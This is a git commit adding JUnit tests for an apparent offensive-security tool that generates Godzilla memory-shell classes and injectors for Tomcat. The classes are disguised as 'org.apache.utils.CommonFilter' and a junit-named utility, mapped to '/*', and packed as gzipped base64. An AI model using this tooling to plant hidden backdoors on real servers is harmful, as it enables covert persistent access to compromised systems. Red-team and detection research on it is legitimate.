feat: add godzilla filter generate

This commit is contained in:
ReaJason
2024-11-24 04:48:15 +08:00
parent 033bc2b9a5
commit b31db5c1ac
27 changed files with 1438 additions and 10 deletions
@@ -0,0 +1,58 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.util.ClassUtils;
import me.gv7.woodpecker.tools.common.FileUtil;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.io.IOException;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/11/23
*/
class GodzillaGeneratorTest {
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
String headerValue = "test";
@Test
@Disabled("just for generate")
void testGenerate() throws IOException {
System.out.println("hello");
String className = "org.apache.utils.CommonFilter";
byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
FileUtil.writeFile("Class.class", bytes);
}
@Test
void generateFilter() {
String className = "org.apache.utils.CommonFilter";
byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
}
@Test
void generateListener() {
String className = "org.apache.utils.CommonListener";
byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
}
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
import com.reajason.javaweb.util.ClassUtils;
import com.reajason.javaweb.util.CommonUtil;
import lombok.SneakyThrows;
import me.gv7.woodpecker.tools.common.FileUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/11/24
*/
class InjectorGeneratorTest {
InjectorGenerator injectorGenerator = new InjectorGenerator();
@Test
@SneakyThrows
void generateGodzilla() {
byte[] shellBytes = IOUtils.resourceToByteArray("/CommonFilter.class");
String shellClassName = "org.apache.utils.CommonFilter";
String injectClassName = "org.junit.jupiter.InjectUtil";
byte[] bytes = injectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*");
Object obj = ClassUtils.newInstance(bytes);
assertEquals(injectClassName, obj.getClass().getName());
assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString());
assertEquals("/*", ClassUtils.invokeMethod(obj, "getUrlPattern", null, null).toString());
assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""),
ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString());
// Object filter = ClassUtils.invokeMethod(obj, "getFilter", new Class[]{Object.class}, new Object[]{null});
// assertEquals(shellClassName, filter.getClass().getName());
//
// FileUtil.writeFile("InjectUtil.class", bytes);
System.out.println(Base64.encodeBase64String(bytes));
}
}